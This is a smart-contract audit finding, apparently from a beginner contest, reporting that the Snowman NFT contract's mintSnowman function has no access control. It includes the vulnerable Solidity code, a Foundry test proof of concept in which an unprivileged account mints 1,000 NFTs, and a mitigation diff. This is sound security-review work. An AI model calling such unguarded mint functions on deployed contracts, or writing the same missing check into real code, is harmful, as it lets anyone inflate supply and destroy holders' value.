Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Minting Function Allows for Infinite NFT Supply

Root + Impact

Description

  • The intended behavior of the mintSnowman function is to act as a restricted, privileged action, exclusively callable by an authorized address (such as the SnowmanAirdrop contract). This controlled access is fundamental to guaranteeing that Snowman NFTs are only created for users who legitimately complete the airdrop claim process, thus preserving the scarcity and value of the collection.

  • The mintSnowman function is implemented as external but critically lacks any access control mechanism. Without an onlyOwner modifier or a similar role-based check, any external account on the blockchain can call this function directly to mint an arbitrary number of NFTs for any recipient, at no cost, completely bypassing the intended airdrop mechanism.

// Snowman.sol
// ... (constructor, events, etc.)
// >>> EXTERNAL FUNCTIONS
// @> 1. The function is declared `external`, making it callable from any other contract or user account.
// @> 2. CRITICAL FLAW: There are no access control modifiers (e.g., `onlyOwner`) or any `require` statements
// to validate that `msg.sender` is an authorized minter. This allows anyone to call it.
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
// @> 3. The minting logic itself is executed without any prior authorization checks.
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
// ... (other functions)

Risk

The risk is assessed as Critical. This is the highest possible rating, justified by a High likelihood of exploitation and a Critical impact that completely breaks the entire economic model of the NFT collection.

Likelihood: High

  • Reason 1: This vulnerability is exploited the moment any user or automated bot discovers the public mintSnowman function. The attack consists of a single, simple transaction call that requires no special conditions, permissions, or capital.

  • Reason 2: The lack of access control on a minting function is a widely known and fundamental security anti-pattern in smart contract development. It is trivial to discover through automated scanning tools, manual code review, or even by simply inspecting the contract's functions on a block explorer like Etherscan.

Impact: Critical

  • Impact 1: The exploit results in the complete and instantaneous destruction of the NFT's value and scarcity. An attacker can create an infinite supply of Snowman NFTs, rendering the entire collection worthless and making the SnowmanAirdrop contract and its associated tokenomics entirely obsolete.

  • Impact 2: This flaw causes a catastrophic loss of user trust and project integrity. Users who participated in the Snow token ecosystem with the expectation of a fair and exclusive airdrop will find their efforts and investment nullified, leading to irreversible reputational damage for the project.


Proof of Concept

Explanation of the PoC

This Proof of Concept demonstrates that any unauthorized user can freely mint Snowman NFTs, bypassing all intended mechanisms.

  1. Objective: To prove that an arbitrary external account can call mintSnowman and create new NFTs for themselves without permission.

  2. Setup: The Snowman contract is deployed. We define an actor, randomAttacker, who has no special roles or permissions.

  3. Execution: The randomAttacker directly calls the mintSnowman function, requesting to mint 1,000 NFTs to their own address.

  4. Success Criteria: The test succeeds by asserting that the randomAttacker's Snowman NFT balance is now 1,000, confirming the unauthorized minting was successful.

PoC Code (Foundry)

You can save this code as test/SnowmanMint.t.sol in a Foundry project.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol"; // Adjust path if needed
/**
* @title PoC: Unrestricted Minting in Snowman Contract
* @author Your Name/Handle
*/
contract SnowmanMintPoC is Test {
// === Contracts ===
Snowman private snowman;
// === Actors ===
address private deployer = makeAddr("deployer");
address private randomAttacker = makeAddr("randomAttacker");
function setUp() public {
// Deploy the Snowman contract
vm.prank(deployer);
// The SVG URI can be a placeholder for this test
snowman = new Snowman("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48L3N2Zz4=");
// Label addresses for clarity
vm.label(deployer, "Contract Deployer");
vm.label(randomAttacker, "Random Attacker");
}
/**
* @notice This PoC demonstrates that any user can call the public `mintSnowman` function.
*/
function test_PoC_AnyoneCanMintForFree() public {
console.log("--- PoC: Unrestricted NFT Minting ---");
// --- Step 1: Log initial state ---
uint256 initialBalance = snowman.balanceOf(randomAttacker);
console.log("Attacker's initial Snowman NFT balance: %s", initialBalance);
assertEq(initialBalance, 0, "Attacker should start with 0 NFTs");
// --- Step 2: The random attacker calls mintSnowman directly ---
uint256 amountToMint = 1000;
console.log("\nAttacker is calling mintSnowman(%s, %s)...", randomAttacker, amountToMint);
vm.prank(randomAttacker);
snowman.mintSnowman(randomAttacker, amountToMint);
console.log("Minting transaction executed successfully.");
// --- Step 3: Assert the final state to prove the vulnerability ---
uint256 finalBalance = snowman.balanceOf(randomAttacker);
console.log("\nAttacker's final Snowman NFT balance: %s", finalBalance);
// ASSERT (CRITICAL): The attacker's balance must now be equal to the amount they minted.
assertEq(finalBalance, amountToMint, "FAIL: Attacker could not mint NFTs!");
console.log("\n✅ PoC successful: An unauthorized user successfully minted %s NFTs for free.", amountToMint);
}
}

Recommended Mitigation

// Snowman.sol
// ... (events)
+ modifier onlyAuthorizedMinter() {
+ if (msg.sender != authorizedMinter) {
+ revert SM__NotAllowed(); // Re-use existing error for simplicity
+ }
+ _;
+ }
// >>> CONSTRUCTOR
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _initialMinter) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
+ authorizedMinter = _initialMinter;
+ emit AuthorizedMinterChanged(_initialMinter);
}
// Snowman.sol
// >>> EXTERNAL FUNCTIONS
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAuthorizedMinter {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.